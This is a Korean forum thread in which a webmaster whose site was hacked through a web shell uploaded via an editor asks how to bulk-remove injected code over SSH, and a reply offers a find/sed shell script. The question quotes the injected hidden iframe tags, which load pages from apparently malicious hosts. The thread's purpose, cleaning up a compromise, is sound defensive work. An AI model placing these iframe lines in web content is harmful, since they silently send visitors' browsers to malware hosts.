ssh로 사이트 악성코드 한번에 지울수 있나요?
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
댓글 2개
14년 전
http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
아갈갤러리
14년 전
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
게시판 목록
프로그램
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 7430 |
|
10년 전 | 4918 | |
| 7429 | 10년 전 | 1748 | ||
| 7428 |
멋진남자임
|
10년 전 | 1120 | |
| 7427 |
sdflksdj2
|
10년 전 | 780 | |
| 7426 | 10년 전 | 1321 | ||
| 7425 | 11년 전 | 1348 | ||
| 7424 | 11년 전 | 1018 | ||
| 7423 |
SeungYeon
|
11년 전 | 530 | |
| 7422 | 11년 전 | 773 | ||
| 7421 |
sdflksdj2
|
11년 전 | 648 | |
| 7420 | 11년 전 | 939 | ||
| 7419 |
|
11년 전 | 1356 | |
| 7418 |
멋진남자임
|
11년 전 | 1375 | |
| 7417 | 11년 전 | 567 | ||
| 7416 |
senseme
|
11년 전 | 1186 | |
| 7415 | 11년 전 | 934 | ||
| 7414 | 11년 전 | 686 | ||
| 7413 | 11년 전 | 4814 | ||
| 7412 | 11년 전 | 4387 | ||
| 7411 |
holla
|
11년 전 | 866 | |
| 7410 | 11년 전 | 4210 | ||
| 7409 | 11년 전 | 3893 | ||
| 7408 | 11년 전 | 4245 | ||
| 7407 | 11년 전 | 5024 | ||
| 7406 | 11년 전 | 4699 | ||
| 7405 | 11년 전 | 4251 | ||
| 7404 | 11년 전 | 725 | ||
| 7403 | 11년 전 | 5639 | ||
| 7402 | 11년 전 | 1457 | ||
| 7401 |
|
11년 전 | 946 | |
| 7400 | 11년 전 | 2951 | ||
| 7399 |
멋진남자임
|
11년 전 | 878 | |
| 7398 |
파랑새1597
|
11년 전 | 2625 | |
| 7397 | 11년 전 | 2231 | ||
| 7396 |
basketball
|
11년 전 | 1322 | |
| 7395 | 11년 전 | 1563 | ||
| 7394 | 11년 전 | 890 | ||
| 7393 | 11년 전 | 2034 | ||
| 7392 | 11년 전 | 815 | ||
| 7391 |
잘살아보자
|
11년 전 | 5315 | |
| 7390 |
잘살아보자
|
11년 전 | 2184 | |
| 7389 |
잘살아보자
|
11년 전 | 3293 | |
| 7388 |
파랑새1597
|
11년 전 | 895 | |
| 7387 | 11년 전 | 1072 | ||
| 7386 |
프리랜서퍼블리셔
|
11년 전 | 942 | |
| 7385 | 11년 전 | 1547 | ||
| 7384 |
울라라라우
|
11년 전 | 869 | |
| 7383 | 11년 전 | 1516 | ||
| 7382 |
잘살아보자
|
11년 전 | 4198 | |
| 7381 |
잘살아보자
|
11년 전 | 1961 | |
| 7380 |
잘살아보자
|
11년 전 | 1911 | |
| 7379 |
잘살아보자
|
11년 전 | 5873 | |
| 7378 |
senseme
|
11년 전 | 1840 | |
| 7377 |
잘살아보자
|
11년 전 | 2704 | |
| 7376 | 11년 전 | 2358 | ||
| 7375 |
잘살아보자
|
11년 전 | 1017 | |
| 7374 |
잘살아보자
|
11년 전 | 3110 | |
| 7373 |
잘살아보자
|
11년 전 | 2448 | |
| 7372 |
잘살아보자
|
11년 전 | 5816 | |
| 7371 |
잘살아보자
|
11년 전 | 3440 | |
| 7370 |
잘살아보자
|
11년 전 | 1884 | |
| 7369 |
잘살아보자
|
11년 전 | 2138 | |
| 7368 |
ksdhtm56
|
11년 전 | 521 | |
| 7367 | 11년 전 | 1387 | ||
| 7366 | 11년 전 | 901 | ||
| 7365 | 11년 전 | 3504 | ||
| 7364 |
잘살아보자
|
11년 전 | 1352 | |
| 7363 |
잘살아보자
|
11년 전 | 1318 | |
| 7362 |
잘살아보자
|
11년 전 | 1463 | |
| 7361 | 11년 전 | 3566 | ||
| 7360 | 11년 전 | 3528 | ||
| 7359 | 11년 전 | 3352 | ||
| 7358 |
멋진남자임
|
11년 전 | 993 | |
| 7357 | 11년 전 | 3378 | ||
| 7356 | 11년 전 | 2578 | ||
| 7355 | 11년 전 | 3146 | ||
| 7354 |
파랑새1597
|
11년 전 | 623 | |
| 7353 |
잘살아보자
|
11년 전 | 2394 | |
| 7352 |
잘살아보자
|
11년 전 | 2380 | |
| 7351 |
잘살아보자
|
11년 전 | 2459 | |
| 7350 |
잘살아보자
|
11년 전 | 1431 | |
| 7349 |
잘살아보자
|
11년 전 | 1914 | |
| 7348 |
잘살아보자
|
11년 전 | 1230 | |
| 7347 |
잘살아보자
|
11년 전 | 1050 | |
| 7346 |
멋진남자임
|
11년 전 | 1622 | |
| 7345 | 11년 전 | 948 | ||
| 7344 | 11년 전 | 3833 | ||
| 7343 | 11년 전 | 3605 | ||
| 7342 | 11년 전 | 1229 | ||
| 7341 | 11년 전 | 2476 | ||
| 7340 |
|
11년 전 | 893 | |
| 7339 | 11년 전 | 1706 | ||
| 7338 | 11년 전 | 3310 | ||
| 7337 | 11년 전 | 3610 | ||
| 7336 | 11년 전 | 4538 | ||
| 7335 | 11년 전 | 934 | ||
| 7334 | 11년 전 | 1499 | ||
| 7333 | 11년 전 | 2905 | ||
| 7332 |
|
11년 전 | 1070 | |
| 7331 |
KeePin뽁이
|
11년 전 | 1059 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기